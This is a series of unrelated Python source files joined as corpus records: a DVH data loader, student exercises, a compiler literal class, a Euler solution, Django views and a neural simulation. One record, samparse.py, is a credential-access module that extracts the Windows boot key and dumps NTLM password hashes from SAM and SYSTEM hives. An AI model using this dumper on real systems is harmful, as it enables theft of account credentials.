my_file[10].split(':')[-1].strip('\\n').strip()\n\n\n ## Get the structures\n structures_indexs_list = []\n structures_names_list = []\n for i, line in enumerate(my_file):\n if line.startswith('Structure:'):\n structures_indexs_list.append(i)\n structures_names_list.append(line.split(':')[-1].strip('\\n').strip())\n\n\n ##structures_names_list = ['PTV CHEST', 'Foramen'] # hard code to limit number of structures and prevent memory issues\n\n print(file + ' loaded \\t patID:' + patID + ' PlanID:' + planID + ' and number of structures is ' + str(len(structures_names_list)))\n dose_index = np.linspace(0,100, 2001) # New dose index in range 0 - 100 Gy in 0.05 Gy steps\n\n data = np.zeros((dose_index.shape[0], len(structures_names_list)))\n\n # iterate through all structures and place interpolated DVH data in matrix\n for i, index in enumerate(structures_indexs_list):\n start = structures_indexs_list[i]+18 # first line of DVH data\n if i < len(structures_indexs_list)-1:\n end = structures_indexs_list[i+1]-2 # find the last line of the DVH from the next index, BEWARE THE +1\n else:\n end = len(my_file)-2\n DVH_data = my_file[start:end] # get list with data\n\n DVH_list = [line.split() for line in DVH_data] # create list of lists split\n Dose_Percent, Dose_Gy, Ratio_pct = zip(*DVH_list) # unzip to 3 lists, they are strings so conver to float\n\n Dose_Percent = np.asarray(Dose_Percent, dtype=np.float32)\n Ratio_pct = np.asarray(Ratio_pct, dtype=np.float32)\n Dose_Gy = np.asarray(Dose_Gy, dtype=np.float32)\n ## Now working with dose data\n\n f = interpolate.interp1d(x=Dose_Gy,y=Ratio_pct, bounds_error=False, fill_value=0) # returns a linear interpolate function, fill values outside range wiwth 0\n\n data[:,i] = f(dose_index)\n\n my_iterables = [[patID], [planID], structures_names_list]\n my_index = pd.MultiIndex.from_product(my_iterables, names = ['patID', 'planID', 'Structure'])\n\n df = pd.DataFrame(data.T, index = my_index)\n df = df.T\n df.index = dose_index\n df.index.name = 'Dose (Gy)'\n return df\n\ndef Load_files_to_df(files_list): # pass a list of files to load into a df\n for i, file in enumerate(files_list):\n if i == 0:\n multi_df = Load_patient(file)\n else:\n multi_df = pd.concat([multi_df, Load_patient(file)], axis=1)\n return multi_df\n\ndef get_dmin(df):\n return df[(df < 100.0) & (df > 0.0)].idxmax()\n\ndef get_dmax(df):\n return df[(df < 100.0) & (df > 0.0)].idxmin()\n\ndef get_d_metric(df, D_metric_pct): # dunction to get e.g the D50% metric passing '50' and a DVH entry ()\n x = df.values[:,0]\n y = df.index.values\n f = interpolate.interp1d(x,y, bounds_error=False, fill_value=0)\n return f(D_metric_pct)*1 # adding the *1 turns it from an array to a double..\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\ntxt_files = List_txt()\ntxt_files\nmulti_df = Load_files_to_df(txt_files)\nmulti_df.head()\n#structure1 = 'Anus_P'\n#multi_df.xs(structure, level='Structure', axis=1).plot()\n#plt.legend(loc='center left', bbox_to_anchor=(1, 0.5))\n#plt.title('The DVH for structure ' + structure)\n#plt.ylabel('Relative dose (%)')\nmulti_df.to_csv('All_data.csv')\nstructure1 = 'ParotisL OAR'\nmulti_df.xs(structure1, level='Structure', axis=1).to_csv('DVHdataSumme_'+structure1+'.csv')\n","sub_path":"pyEclipseDVH_v2 (plans).py","file_name":"pyEclipseDVH_v2 (plans).py","file_ext":"py","file_size_in_byte":4045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"429819741","text":"import sys\nfrom impacket.examples.secretsdump import LocalOperations, SAMHashes\nfrom impacket import winregistry\nfrom binascii import hexlify, unhexlify\nfrom six import b\nimport json\n\ndef main(sysF, samF):\n bootkey = getBootKey(sysF)\n\n #Borrowed code from https://github.com/byt3bl33d3r/CrackMapExec/blob/48fd338d228f6589928d5e7922df4c7cd240a287/cme/protocols/smb.py#L816\n #Changed to save the hashes as a JSON object as this will be needed for our Golang structs\n def print_sam_hash(sam_hash):\n print_sam_hash.sam_hashes += 1\n username,_,lmhash,nthash,_,_,_ = sam_hash.split(':')\n hash_dict = {'Username':username, 'NTLM':lmhash+':'+nthash}\n print(json.dumps(hash_dict))\n print_sam_hash.sam_hashes = 0\n\n SAM = SAMHashes(samF, bootkey, isRemote=False, perSecretCallback=lambda secret: print_sam_hash(secret))\n SAM.dump()\n\n# From Impacket https://github.com/SecureAuthCorp/impacket/blob/69fee03fd8c120ec7ed0b1e630f7dcc5780fa3f9/impacket/examples/secretsdump.py#L735\ndef getBootKey(system):\n # Local Version whenever we are given the files directly\n bootKey = b''\n tmpKey = b''\n winreg = winregistry.Registry(system, False)\n # We gotta find out the Current Control Set\n currentControlSet = winreg.getValue('\\\\Select\\\\Current')[1]\n currentControlSet = \"ControlSet%03d\" % currentControlSet\n for key in ['JD', 'Skew1', 'GBG', 'Data']:\n ans = winreg.getClass('\\\\%s\\\\Control\\\\Lsa\\\\%s' % (currentControlSet, key))\n digit = ans[:16].decode('utf-16le')\n tmpKey = tmpKey + b(digit)\n\n transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]\n\n tmpKey = unhexlify(tmpKey)\n\n for i in range(len(tmpKey)):\n bootKey += tmpKey[transforms[i]:transforms[i] + 1]\n\n return bootKey\n\nif __name__ == \"__main__\":\n main(sys.argv[1], sys.argv[2])","sub_path":"modules/credentialaccess/samdump/server/src/samparse.py","file_name":"samparse.py","file_ext":"py","file_size_in_byte":1909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"381629894","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\n##Question..1\nclass Count:\n def counting(self,num):\n x=num\n i=0\n e=0\n o=0\n z=1\n count=4\n while(count>0):\n z=x%10\n if z==0:\n i+=1\n elif z%2==0:\n e+=1\n elif z%2 !=0:\n o+=1\n x=x//10\n count-=1\n print(\"Zeroes={},Evens={}, Odds={}\".format(i,e,o))\n \nc=Count()\nnum=int(input(\"Enter a four digit number:\"))\nc.counting(num)\n\n\n# In[2]:\n\n\n##Question..2\nnum = []\nn=int(input(\"How many numbers u want to enter\"))\nfor i in range(1,n+1,1):\n x=int(input(\"Enter a number :\"))\n num.append(x)\nprint(\"the number in the array are \",num) \nprint(\"Max number in array is \",max(num))\nprint(\"Min number in arrat is \",min(num))\n \n\n\n# In[3]:\n\n\n##Question..4\nnum = int(input(\"How many figures:\"))\nstorage = []\nresult = []\nfor i in range (1,num+1):\n a = int(input(\"Enter value\" + str(i) + \" : \"))\n storage.append(a)\nfor m in range(len(storage)):\n b = min(storage)\n storage.remove(b)\n result.append(b)\nj = ' '.join(str(i) for i in result)\nprint(j)\n\n\n# In[4]:\n\n\n##Question..6\nnames=[]\nn=5\nfor x in range(1,n+1,1):\n names.append(input(\"Enter the names:\"))\nnames.sort()\nprint(\"Names after sorting are\",names)\n\n\n# In[5]:\n\n\n##Question..7\nn=int(input(\"Enter a number:\"))\ntot=0\nwhile(n>0):\n dig=n%10\n tot=tot+dig\n n=n//10\nprint(\"The total sum of digits is:\",tot)\n\n\n# In[9]:\n\n\n##Question..9\nn = int(input(\"Enter a Number :\"))\n\np = 0\nf = 0\ns = 0\n\nl = n % 10\n\nwhile n > 0:\n r = n % 10\n\n p= p * 10 + r\n\n n = int(n / 10)\n \nf = p % 10\n\ns = f + l\n\nprint(\"Sum of first and last digit is :\", s)\n\n\n# In[13]:\n\n\n##Queston..8\nx = int(input(\"Enter first number\"))\ny = int(input(\"Enter second number\"))\ndef swap(w,v):\n return v,w\nx,y=swap(x , y)\nprint(x)\nprint(y)\n\n\n# In[12]:\n\n\n##question..10\nprint(\"Enter 'x' for exit.\")\nstring = input(\"Enter any string to remove all vowels from it: \")\nif string == 'x':\n exit();\nelse:\n newstr = string;\n print(\"\\nRemoving vowels from the given string...\");\n vowels = ('a', 'e', 'i', 'o', 'u');\n for x in string.lower():\n if x in vowels:\n newstr = newstr.replace(x,\"\");\n print(\"New string after successfully removed all the vowels:\");\n print(newstr);\n\n\n# In[15]:\n\n\n#Question..11\nstr = input(\"Enter the string\")\nchar = input(\"Enter the character whose number of occurence is to be found in the string\")\nc = str.count(char)\nprint(\"Number of occurence of {} is {}\".format(char ,c))\n\n\n# In[16]:\n\n\n#Question..12\nword = input(\"Input a word to reverse: \")\n\nfor char in range(len(word) - 1, -1, -1):\n print(word[char], end=\"\")\nprint(\"\\n\")\n\n\n# In[17]:\n\n\n#Question..13\nmatrix1 = [[1, 2, 3],\n [4, 5, 6],\n [7, 8, 9]]\nmatrix2 = [[10, 11, 12],\n [13, 14, 15],\n [16, 17, 18]]\nrmatrix = [[0, 0, 0],\n [0, 0, 0],\n [0, 0, 0]]\nfor i in range(len(matrix1)):\n for j in range(len(matrix1[0])):\n rmatrix[i][j] = matrix1[i][j] + matrix2[i][j]\nfor r in rmatrix:\n print(r)\n\n\n# In[6]:\n\n\n#Question..14\nfrom collections import Counter\nz=[]\nx=int(input(\"Enter the number of inputs u want to give\"))\nfor y in range(x):\n a=int(input(\"Enter the number\"))\n z.append(a)\nCounter(z)\n\n\n# In[ ]:\n\n\n#Question..15\nimport math\nx= int(input(\"Enter X :\"))\ny= int(input(\"Enter Z :\"))\nz= int(input(\"Enter Y:\"))\na= y + z\nb = pow(x,a)\nprint(\"The result is\",b)\n\n\n# In[7]:\n\n\n#Question..16\nx= input(\"Enter the input :\")\nn= ord(x)\nprev= n - 1\nnext= n + 1\na=chr(prev)\nb=chr(next)\nprint(\" ASCII value is : \",n)\nprint(\"The previous value is : \",a)\nprint(\"The next value is : \",b)\n\n\n# In[8]:\n\n\n#Question..17\nx= input('enter the set of numbers :(enter space seperatedvalue):')\nlist1= x.split(\" \")\nres=[]\nfor i in list1:\n n = int(i)\n for j in range(2,int(n/2)):\n if(n%j == 0):\n break\n else:\n res.append(n)\nprint(res)\n\n\n# In[10]:\n\n\n#Question..23\nX = input(\"Enter your string\")\nl=len(X)\nprint(\"The length is\", l)\nY = \"Saptarshi\"\nZ= X+Y\nprint(\"After concatenation\", Z)\nprint(''.join(reversed(X)))\nold=\"I like Python\"\nnew=old.replace(\"like\",\"love\")\nprint(new)\nif X == Y:\n print(\"Equal\")\nelse:\n print(\"Not Equal\")\n\n\n# In[11]:\n\n\n#Question..18\nnum=int(input(\"enter a number\"))\nnum2=int(input(\"enter 2nd number\"))\na=1\nfor num2 in range (1,num2+1):\n a=(a*num)\nprint(a)\n\n\n# In[12]:\n\n\n#Question..19\na=int(input(\"enter the first side of a triangle\"))\nb=int(input(\"enter the second side of the triangle\"))\nc=int(input(\"enter the third side of the triangle\"))\nif (a+b>c):\n print(\"triangle is valid\")\nelif (b+c>a):\n print(\"triangle is valid\")\nelif (c+a>b):\n print(\"triangle is valid\")\nelse:\n print(\"triangle is not valid\")\n \n\n\n# In[13]:\n\n\n#Question..20\nmsg=\"python is cooler java\"\nnewmsg=msg.replace(\"a\",\"@\")\nprint(newmsg)\n\n\n# In[14]:\n\n\n#Question...24\nnum =int(input(\"enter a number\"))\nfor i in range(1, 11):\n print(num,'x',i,'=',num*i)\n \n \n\n\n# #Question..25\n# num =int(input(\"enter a number\"))\n# for i in range(1, 11):\n# print(num,'x',i,'=',num*i)\n# \n\n# In[ ]:\n\n\n#Question...25\nch = input(\"Enter a character: \")\nif((ch>='a' and ch<= 'z') or (ch>='A' and ch<='Z')):\n print(ch, \"is an Alphabet\")\nelse:\n print(ch, \"is a digit\")\n\n\n# In[1]:\n\n\n#Question..26\nbs = int(input(\"enter basic salary.\\n\"))\nif bs >= 5000:\n hr = (15 / 100) * bs\n da = (150 / 100) * bs\nelse:\n hr = (10 / 100) * bs\n da = (110 / 100) * bs\ng= bs + hr + da\nprint(\"basic salary\", bs, \"hra is\", hr, \"da is\", da, \"gross salary is\", g)\n \n \n\n\n# In[3]:\n\n\n#Question..22\nBooks=[]\nbooks1=[]\nbook=int(input(\"enter the no of books\"))\nfor x in range(book):\n book_title=(input(\"enter the book title\"))\n Books.append(book_title)\n author=input(\"enter the author of the book\")\n Books.append(author)\n publisher=(input(\"enter the publisher\"))\n Books.append(publisher)\n cost=int(input(\"enter the cost of the book\"))\n Books.append(cost)\n accesion_no=int(input(\"enter the accession no to the book\"))\n books1.append(accesion_no)\nbooks1.sort()\nprint(\"The sorted books: {}\".format(books1))\nif cost>500:\n print(\"the books whose cost more than 500: BOOK TTITLE: {} BOOK AUTHOR:{} BOOK PUBLISHER:{} BOOK COST:{}\".format(book_title,author,publisher,cost))\nelse:\n print(\"the books cost are less than 500:BOOK TTITLE: {} BOOK AUTHOR:{} BOOK PUBLISHER:{} BOOK COST:{}\".format(book_title,author,publisher,cost))\n\nprint(\"BOOK TTITLE: {} BOOK AUTHOR:{} BOOK PUBLISHER:{} BOOK COST:{}\".format(book_title,author,publisher,cost))\n\n\n# In[1]:\n\n\n#Question..5\nclass Customers:\n Bank=[]\n customers=int(input(\"enter no of customers(max 20) in the bank\"))\n for x in range(customers):\n account_no=int(input(\"enter the a/c no. of the customer in the bank\"))\n Bank.append(account_no)\n name=input(\"enter the name of the customer in the bank\")\n Bank.append(name)\n balance=int(input(\"enter the balance of the customer\"))\n Bank.append(balance)\n account=(input(\"enter the a/c running status\"))\n Bank.append(account)\n def Account(self,balance):\n if balance<100:\n print(\"the account no : {} the name of customer: {} the balance of customer: {}\".format(self.account_no,self.name,balance))\n else:\n print(\"the balance of customer is greater than 100\")\nC=Customers()\nC.Account(balance=36)\n\n\n# In[2]:\n\n\n#Question..3\nclass Book:\n def id1(self):\n self.id_num=int(input(\"Please enter id\\n\"))\n def cost(self):\n self.book_cost=int(input(\"Please enter cost\\n\"))\n def author(self): \n self.auth_name=input(\"Please enter author\\n\")\n def bookdb(self):\n print(\"BOOK ID: {} BOOK COST:{} BOOK AUTHOR:{} \".format(self.id_num,self.book_cost,self.auth_name))\nb=Book()\nb.id1()\nb.cost()\nb.author()\nb.bookdb()\n\n\n# In[ ]:\n\n\n#Question..21\nlists=[]\nlist1=[]\nstudent=int(input(\"enter the no of students\"))\nfor x in range(student):\n roll_no=int(input(\"enter the rollno\"))\n lists.append(roll_no)\n stud_name=input(\"enter the name\")\n lists.append(stud_name)\n marks1=int(input(\"enter the marks of the first subject\"))\n list1.append(marks1)\n marks2=int(input(\"enter the marks of the 2nd subject\"))\n list1.append(marks2)\n marks3=int(input(\"enter the marks of the 3rd subject\"))\n list1.append(marks3)\n Total=0\n Average=0\n Total=marks1+marks2+marks3\n Average=Total/3\n print(\"the total marks of the student is \")\n print(Total)\n print(\"the average marks of the student\")\n print(Average)\nlist1.sort(reverse=True)\nprint(\"the descending order of marks is :\")\nprint(list1)\nprint(\"the names and roll no of students are:\")\nprint(lists)\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"Assignment(1-26)_SaptarshiBarat.py","file_name":"Assignment(1-26)_SaptarshiBarat.py","file_ext":"py","file_size_in_byte":8749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"173372070","text":"from .common import *\nimport sys\nclass PT_Expression_Literal() :\n Stringcount = 0\n Realcount = 0\n Intcount = 0\n def __init__( self, kind, value ) :\n self.m_kind = kind\n self.m_value = value\n def dump( self, indent = 0 , fp = sys.stdout) :\n print((INDENTSTR*indent) + 'ARG' , file = fp)\n print( (INDENTSTR*(indent+1)) + f\"LITERAL {self.m_kind} '{self.m_value}' \" , file = fp )\n\n def codeGen(self , fp=sys.stdout ) :\n if self.m_kind == \"STRING\" :\n print( file = fp )\n print( '.data', file = fp )\n print( f\"STRLIT{PT_Expression_Literal.Stringcount}: .asciz \\\"{self.m_value}\\\" \", file = fp )\n print( '.text', file = fp )\n print( f\"movq $STRLIT{PT_Expression_Literal.Stringcount}, %rdi\", file = fp )\n PT_Expression_Literal.Stringcount = PT_Expression_Literal.Stringcount + 1\n print( 'call writeString', file = fp )\n #print( 'call writeNewLine', file = fp )\n #print( file = fp )\n if self.m_kind == \"INTEGER\" :\n print( '.data', file = fp )\n print( '.align 4', file = fp )\n print( f\"INTLIT{PT_Expression_Literal.Intcount}: .int {self.m_value} \", file = fp )\n print( '.text', file = fp )\n print( f\"movl INTLIT{PT_Expression_Literal.Intcount}, %edi\", file = fp )\n PT_Expression_Literal.Intcount = PT_Expression_Literal.Intcount + 1\n print( 'call writeInteger', file = fp )\n #print( 'call writeNewLine', file = fp )\n #print( file = fp )\n if self.m_kind == \"REAL\":\n print( '.data', file = fp )\n print( '.align 8', file = fp )\n print( f\"REALIT{PT_Expression_Literal.Realcount}: .double {self.m_value} \", file = fp )\n print( '.text', file = fp )\n print( f\"movq REALIT{PT_Expression_Literal.Realcount}, %xmm0\", file = fp )\n PT_Expression_Literal.Realcount = PT_Expression_Literal.Realcount + 1\n print( 'call writeReal', file = fp )\n #print( 'call writeNewLine', file = fp )\n #print( file = fp )\n\n def semanticCheack(self) :\n #self.m_block.semanticCheack()\n if self.m_kind == \"REAL\" :\n m = float(self.m_value)\n if float(self.m_value) != m :\n raise ValueError('value of float exceeded')\n\n if self.m_kind == \"STRING\":\n for a in self.m_value:\n if ord(a) <=127 :\n pass\n else :\n raise ValueError('String value is not in unicode')\n\n if self.m_kind == \"INTEGER\" :\n m = int(self.m_value)\n if m > 2**31 - 1:\n raise ValueError('value of Integer exceeded')\n","sub_path":"ASL Project/HMWK_04b_tvd6298/ParseTree/PT_Expression_Literal.py","file_name":"PT_Expression_Literal.py","file_ext":"py","file_size_in_byte":2844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"387849294","text":"#!/usr/bin/env python3\n\n# Project Euler : Problem 9\n# Special Pythagorean triplet\n\nfrom math import sqrt\n\na, b = 1, 2\np = 0\n\nfound = False\nwhile not found:\n c = sqrt(a * a + b * b)\n cInt = int(c)\n\n if c == cInt and a + b + cInt == 1000:\n p = a * b * cInt\n found = True\n\n a += 1\n if b <= a:\n a = 1\n b += 1\n\nprint(p)\n\n# Solution : 31875000\n\n# Notes :\n# Pour vérifier qu'un nombre x est un entier, on vérifie l'égalite entre\n# sa partie entière int(x) et le nombre lui-même.\n# Ligne 20-23 : La condition nous permet d'avoir un nombre a toujours\n# inférieur au nombre b en incrémentant b d'une unité et en faisant\n# repartir a au nombre 1.\n\n# Mathématiquement :\n# On peut décrire tous les triplets pythagoriciens (a, b, c) avec deux nombres\n# n et m, (m > n) :\n# a = m * n, b = (m^2 - n^2) / 2, c = (m^2 + n^2) / 2\n# Leur somme est :\n# a + b + c = m * n + m^2 = m * (n + m)\n# Or 1000 = 2^3 * 5^3 = 25 * (15 + 25)\n# Donc (m, n) = (25, 15)\n# et, a = 375, b = 200, c = 425\n# Le résultat est :\n# a * b * c = 375 * 200 * 425 = 31875000\n","sub_path":"problem_09.py","file_name":"problem_09.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"642601021","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom .models import Blog\nfrom .forms import BlogForm\n\ndef index(request):\n blogs = Blog.objects.filter(is_published=True)\n # blogs = Blog.objects.all()\n context = {'blogs': blogs}\n return render(request, 'blog/index.html', context)\n\n\ndef detail(request, pk):\n blog = get_object_or_404(Blog, pk=pk)\n return render(request, 'blog/detail.html', {'blog': blog})\n\n\ndef create(request):\n if request.method == 'GET':\n form = BlogForm()\n return render(request, 'blog/upload.html', {'form': form})\n elif request.method == 'POST':\n form = BlogForm(request.POST, request.FILES)\n if form.is_valid():\n blog = form.save()\n # blog = Blog(title=form.cleaned_data['title'],\n # title_description=form.cleaned_data['title_description'],\n # content=form.cleaned_data['content'],\n # is_published=form.cleaned_data['is_published'])\n # blog.save()\n return redirect('blog:detail', blog.pk)\n else:\n return render(request, 'blog/upload.html', {'form': form})\n\n #title = request.POST['title']\n #title_description = request.POST['title_description']\n #content = request.POST['content']\n #blog = Blog(title=title, title_description=title_description, content=content)\n #blog.save()\n #return redirect('blog:detail', blog.pk)\n\n\ndef edit(request, pk):\n blog = get_object_or_404(Blog, pk=pk)\n if request.method == 'GET':\n form = BlogForm(instance=blog)\n return render(request, 'blog/upload.html', {'form':form})\n elif request.method == 'POST':\n form = BlogForm(request.POST, request.FILES, instance=blog)\n if form.is_valid():\n blog = form.save()\n return redirect('blog:detail', blog.pk)\n else:\n render(request, 'blog/upload.html', {'form': form})","sub_path":"mysite/blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"366030183","text":"from neuron import Neuron\r\nimport random\r\n\r\n\r\ndef main():\r\n\tinterneuron_count = 500\r\n\tpyramidal_count = 2000\t\r\n\tpp_probability = 0.10\r\n\tbp_probability = 0.25\t#0.25\r\n\tbb_probability = 0.15 #0.15\r\n\tpb_probability = 0.85\r\n\ttime_step = 0.1\r\n\ttotal_time = 600\r\n\tcurrent_time = 0.0\r\n\ttotal_neurons = interneuron_count + pyramidal_count\r\n\tconnProb = 0.0\r\n\r\n\tinhibitory_neurons = []\r\n\texcitatory_neurons = []\r\n\tspikes = []\r\n\tavg_field_potential = []\r\n\texc = []\r\n\tinh = []\r\n\r\n\tprint(\"Model running. \\n\")\r\n\r\n\t# initialize neurons\r\n\t# type 0 = interneuron, type 1 = pyramidal cell\r\n\tfor i in range(0, interneuron_count):\r\n\t\tneuron = Neuron(0)\r\n\t\tinhibitory_neurons.append(neuron)\r\n\r\n\tfor i in range(0, pyramidal_count):\r\n\t\tneuron = Neuron(1)\r\n\t\texcitatory_neurons.append(neuron)\r\n\r\n\tprint(\"Checkpoint 1: Initialized Neurons. \\n\")\r\n\r\n\tfor i in range(0, interneuron_count):\r\n\t\tfor j in range(0, pyramidal_count):\r\n\t\t\tif random.random() < bp_probability:\r\n\t\t\t\tinhibitory_neurons[i].MakeExcConnection(excitatory_neurons[j])\r\n\t\tfor k in range(0, interneuron_count):\r\n\t\t\tif i != k:\r\n\t\t\t\tif random.random() < bb_probability:\r\n\t\t\t\t\tinhibitory_neurons[i].MakeInhConnection(inhibitory_neurons[k])\r\n\r\n\tfor i in range(0, pyramidal_count):\r\n\t\tfor j in range(0, interneuron_count):\r\n\t\t\tif random.random() < pb_probability:\r\n\t\t\t\texcitatory_neurons[i].MakeInhConnection(inhibitory_neurons[j])\r\n\t\tfor k in range(0, pyramidal_count):\r\n\t\t\tif i != k:\r\n\t\t\t\tif random.random() < pp_probability:\r\n\t\t\t\t\texcitatory_neurons[i].MakeExcConnection(excitatory_neurons[k])\r\n\r\n\tprint(\"Checkpoint 2: Made all connections\\n\")\r\n\r\n\t# choose a random pyramidal neuron and a basket cell to monitor during the simulation\r\n\tpyramidal_cell = random.randint(0, pyramidal_count - 1)\r\n\tbasket_cell = random.randint(0, interneuron_count-1)\r\n\r\n\twhile(current_time < total_time):\r\n\t\tfield_potential = 0.0\r\n\t\tmembrane_potential = 0.0\r\n\t\tfor neuron in excitatory_neurons:\r\n\t\t\tneuron.CalcExcConductance(current_time)\r\n\t\t\tneuron.CalcInhConductance(current_time)\r\n\t\t\tneuron.CalcBackgroundCurrent()\r\n\t\tfor neuron in inhibitory_neurons:\r\n\t\t\tneuron.CalcExcConductance(current_time)\r\n\t\t\tneuron.CalcInhConductance(current_time)\r\n\t\t\tneuron.CalcBackgroundCurrent()\r\n\r\n\r\n\t\tfor i in range(len(excitatory_neurons)):\r\n\t\t\tmembrane_potential = excitatory_neurons[i].CalcMembranePotential(time_step)\r\n\t\t\tfield_potential += membrane_potential\r\n\t\t\tif membrane_potential >= 1.0 and (((current_time - excitatory_neurons[i].time_fired)> Neuron.refractory)or excitatory_neurons[i].time_fired == -1):\r\n\t\t\t\texcitatory_neurons[i].fire(current_time)\r\n\t\t\t\tspikes.append(current_time)\t\t\t\t\r\n\r\n\t\tfor i in range(len(inhibitory_neurons)):\r\n\t\t\tmembrane_potential = inhibitory_neurons[i].CalcMembranePotential(time_step)\r\n\t\t\tfield_potential += membrane_potential\r\n\t\t\tif membrane_potential >= 1.0 and (((current_time - inhibitory_neurons[i].time_fired) > Neuron.refractory )or inhibitory_neurons[i].time_fired == -1):\r\n\t\t\t\tinhibitory_neurons[i].fire(current_time)\r\n\t\t\t\tspikes.append(current_time)\r\n\r\n\t\t# store the chosen exc/inh neurons' membrane potential, exc conductance and inh conductance at each time step\r\n\t\t# exc_cell = excitatory_neurons[pyramidal_cell]\r\n\t\t# inh_cell= inhibitory_neurons[basket_cell]\r\n\t\t# exc_info = (exc_cell._membrane_potential, \r\n\t\t# \texc_cell._exc_conduc * (exc_cell._prev_membrane_potential - Neuron.E_exc), \r\n\t\t# \texc_cell._inh_conduc * (exc_cell._prev_membrane_potential - Neuron.E_inh))\r\n\t\t# inh_info = (inh_cell._membrane_potential, \r\n\t\t# \tinh_cell._exc_conduc * (exc_cell._prev_membrane_potential - Neuron.E_exc), \r\n\t\t# \tinh_cell._inh_conduc * (exc_cell._prev_membrane_potential - Neuron.E_inh))\r\n\r\n\t\texc.append(excitatory_neurons[pyramidal_cell].getInfo())\r\n\t\tinh.append(inhibitory_neurons[basket_cell].getInfo())\r\n\r\n\t\t# calculate and store the LFP\r\n\t\tLFP = field_potential / total_neurons\r\n\t\tavg_field_potential.append(LFP)\r\n\r\n\t\tcurrent_time += time_step\r\n\r\n\tprint(\"Checkpoint 3: Calculated LFPs\\n\")\r\n\r\n\tLFP_output = open(\"LFPOutput.txt\", 'w')\r\n\tspikes_output = open(\"Spikes.txt\", 'w')\r\n\texc_output = open(\"Exc.txt\", 'w')\r\n\tinh_output = open(\"Inh.txt\", 'w')\r\n\r\n\r\n\tLFP_output.write(\"total_time = %d \\n\" % total_time)\r\n\tLFP_output.write(\"time_step = %f \\n\" % time_step)\r\n\tLFP_output.write(\"pp_probability = %f \\n\" % pp_probability)\r\n\tLFP_output.write(\"pb_probability = %f \\n\" % pb_probability)\r\n\tLFP_output.write(\"bp_probability = %f \\n\" % bp_probability)\r\n\tLFP_output.write(\"bb_probability = %f \\n\" % bb_probability)\r\n\tLFP_output.write(\"(exc_amp, inh_amp) = %s \\n\" % str((Neuron.exc_amp, Neuron.inh_amp)))\r\n\tLFP_output.write(\"(tau_pp, tau_pb) = %s \\n\" % str((Neuron.tau_pp, Neuron.tau_pb)))\r\n\tLFP_output.write(\"(tau_bp, tau_bb) = %s \\n\" % str((Neuron.tau_bp, Neuron.tau_bb)))\r\n\tLFP_output.write(\"(pp_latency, pb_latency) = %s \\n\" % str((Neuron.pp_latency, Neuron.pb_latency)))\r\n\tLFP_output.write(\"(bp_latency, bb_latency) = %s \\n\" % str((Neuron.bp_latency, Neuron.bb_latency)))\r\n\r\n\tfor i in range(len(avg_field_potential)):\r\n\t\toutput = \"%f \\n\" % avg_field_potential[i]\r\n\t\tLFP_output.write(output)\r\n\tfor i in range(len(spikes)):\r\n\t\toutput = \"%f\\n\" % spikes[i]\r\n\t\tspikes_output.write(output)\r\n\r\n\tfor i in range(len(exc)):\r\n\t\toutput = \"%s \\n\" % (str(exc[i]))\r\n\t\texc_output.write(output)\r\n\r\n\tfor i in range(len(inh)):\r\n\t\toutput = \"%s \\n\" % (str(inh[i]))\r\n\t\tinh_output.write(output)\r\n\r\n\tLFP_output.close()\r\n\tspikes_output.close()\r\n\texc_output.close()\r\n\tinh_output.close()\r\n\r\n\r\n\tprint(\"Checkpoint 4: Wrote data to files\")\r\n\r\n\t# import numpy as np\r\n\t# import matplotlib.pyplot as plt\r\n\t# from scipy.fftpack import fft, rfft, fftfreq\r\n\r\n\t# N = len(avg_field_potential)\r\n\t# sample_rate = time_step/1000\r\n\t# x = np.linspace(0.0, total_time, N)\r\n\t\r\n\t# y = np.asarray(exc_neuron_potential)\r\n\t# #y1 = excitatory_neurons[5]._mem_pot\r\n\t# #xf = np.linspace(0.0, (1.0/(2.0*T)), N/2)\r\n\r\n\t# xf = np.linspace(0.0, total_time, N)\r\n\t# yf = np.asarray(inh_neuron_potential)\r\n\r\n\t# x1 = abs(fftfreq(N, sample_rate))\r\n\t# #y1 = np.abs(fft(field_pot))**2\r\n\t# #idx = np.argsort(yf)\r\n\t\r\n\t# plt.figure(1, figsize = (15,15))\r\n\t# plt.subplot(211)\r\n\t# plt.plot(x,y)\r\n\t# plt.subplot(212)\r\n\t\r\n\t# #plt.plot(xf, (2/N)*np.abs(yf[:(N/2)])**2)\r\n\t# #plt.plot(xf[idx], yf[idx])\r\n\t# plt.plot(xf, yf)\r\n\t# #plt.xlim(0,300)\r\n\t# plt.savefig('plot*')\r\n\r\n\r\n\t# field_pot = np.asarray(avg_field_potential[99,-1])\r\n\t# x2 = np.linspace(100, total_time, N-100)\r\n\t# power_spectrum = np.abs(fft(field_pot[99,-1]))**2\r\n\r\n\r\n\t# plt.figure(2, figsize = (15,15))\r\n\t# plt.subplot(211)\r\n\t# plt.plot(x2, field_pot)\r\n\t# plt.subplot(212)\r\n\t# plt.plot(x2,power_spectrum)\r\n\t# plt.xlim(0,100)\r\n\t# plt.show('hold')\r\n\t\r\n\r\nif __name__ == \"__main__\":\r\n\tmain()\r\n","sub_path":"ca3model.py","file_name":"ca3model.py","file_ext":"py","file_size_in_byte":6628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"292384477","text":"\"\"\"\nScript to migrate content from rstblog to oddsite.\n\nPrerequisites:\n\n* Install pandoc:\n ``brew install pandoc``\n* Create a virtualenv:\n ``python3 -m venv venv``\n* Install dependencies into the virtualenv:\n ``venv/bin/pip install PyYAML``\n\nRun:\n\n $ venv/bin/python migrate.py [paths for source files] [target directory]\n\"\"\"\n\nimport argparse\nimport datetime\nimport json\nimport logging\nimport os\nimport re\nimport subprocess\nimport 